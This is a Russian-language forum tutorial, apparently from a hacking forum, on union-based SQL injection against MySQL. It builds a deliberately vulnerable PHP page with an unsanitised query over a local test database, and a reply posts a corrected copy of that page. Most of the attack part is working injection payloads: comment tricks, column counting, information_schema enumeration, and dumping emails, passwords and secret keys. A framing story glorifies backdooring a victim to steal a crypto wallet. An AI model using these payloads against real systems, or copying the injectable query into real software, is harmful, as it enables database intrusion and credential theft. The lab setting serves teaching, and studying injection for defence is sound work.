• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья SQL-injection, начало - UNION BASED

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Приветствую тебя читатель!

Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql.

Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.

Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.

Приступим.

Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.

Создадим базу данных
Код:
create database golden_key;
2.png


Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
Код:
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии
Код:
flush privileges;

3.png


Выходим из-под root набрав
Код:
 exit
и логинимся под пользователем buratino
Код:
mysql -u buratino -p
Меняем текущую базу
Код:
use golden_key;

Создаём 2 таблицы с колонками

Код:
CREATE TABLE login (
    id INT NOT NULL AUTO_INCREMENT,
    nickname VARCHAR(30) NOT NULL,
    login VARCHAR(40) NOT NULL,
    statement INT NOT NULL,
    PRIMARY KEY(id)
);
Код:
CREATE TABLE passwd (
    id INT NOT NULL AUTO_INCREMENT,
    email VARCHAR(40) NOT NULL,
    password VARCHAR(40) NOT NULL,
    secret_key VARCHAR(40) NOT NULL,
    PRIMARY KEY(id)
);

4.png


Проверяем
Код:
 desc login;
и
Код:
 desc passwd;

5.png


Заполняем поля

Код:
INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");

INSERT INTO passwd (email,password,secret_key)
VALUES
("[EMAIL]wood@mail.ru[/EMAIL]","papa_Karlo","dast_ist_super-puper_secret_key"),
("[EMAIL]devaxa@yandex.ru[/EMAIL]","solnyshko","d5t6z9h35d6r5c6l"),
("[EMAIL]bablo@yahoo.com[/EMAIL]","bigboss","5y6q3n5f9j3z2gj6"),
("[EMAIL]best@gmail.com[/EMAIL]","blue_sky","g2x5f2s6f7c5f1s6");

6.png


Делаем дамп базы, убедимся, что всё прошло как надо
Код:
SELECT * FROM login,passwd WHERE login.id = passwd.id;

7.png


Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($mysqli_connection->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>

Создайте каталог images и закиньте туда ЭТУ ФОТКУ. Обязательно выставите права на Чтение и запись для для "Остальные".

8.png


Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это

9.png


Отлично! Теперь я расскажу вам сказочку )

Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.

Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.

- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик!
Код:
localhost/index.php
Хорошо, гляну на досуге, пока!

Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.

Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!

Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...


Ну что же, первым делом нужно проверить на самую простую уязвимость
Код:
UNION BASED
, просто подставив в параметр одиночную кавычку.
Код:
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!

10.png


Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:

Код:
1' union select 1 -- -
пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.

13.png


Код:
1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- -
ошибки нет, значит колонок 4

Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.

Код:
1' group by 10 -- -
ошибка, пишет, что колонки 10 не существует

11.png


Код:
1' group by 5 -- -
делим пополам, тоже мимо
Код:
1' group by 3 -- -
ошибки нет
Код:
1' group by 4 -- -
тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.

12.png


Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -

Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
Код:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00

Также, в зависимости от кода, могут прокатывать и такие варианты:
Код:
#
/**/

Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999

Отправляем
Код:
99999' union select 1,2,3,4 -- -
Отлично! Мы видим, что уязвимая колонка 3.

14.png


Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.

16.png


Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key

15.png


А теперь посмотрим как на самом деле выглядит наш запрос:
Код:
SELECT * FROM login WHERE id='1'
такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
Код:
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'
то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
Код:
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'";
и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.

Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
Код:
-1' union select version(),2222,database(),4444 -- -

17.png


Теперь узнаем названия таблиц.
Код:
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.

INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
Код:
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
Код:
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.

Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.

Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement

Таким же образом поступаем с таблицей passwd
Код:
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key

Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться
Код:
 -1' union select nickname,2,statement,4 from login -- -

19.png


Ничего себе! Миллион монет на счету, удача идёт прямо в руки!

Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
Код:
-1' union select nickname,2,statement,4 from login limit 1,1 -- -

Заберём секретный ключ у чурбачка в колпаке!
Код:
-1' union select email,2,secret_key,4 from passwd -- -
20.png


Бинго!

Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один замечательный ресурс, где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.

1.png


Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
Код:
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")

Удачи!


Автор: explorer
 
Есть одна помарочка в коде страницы при проверке результата подключения к бд, если вдруг кто захочет из коробки завести и потестировать без проблем, а так вполне неплохая статья для новичков, код подправил

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "buratino";
$password = "papa_Karlo";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх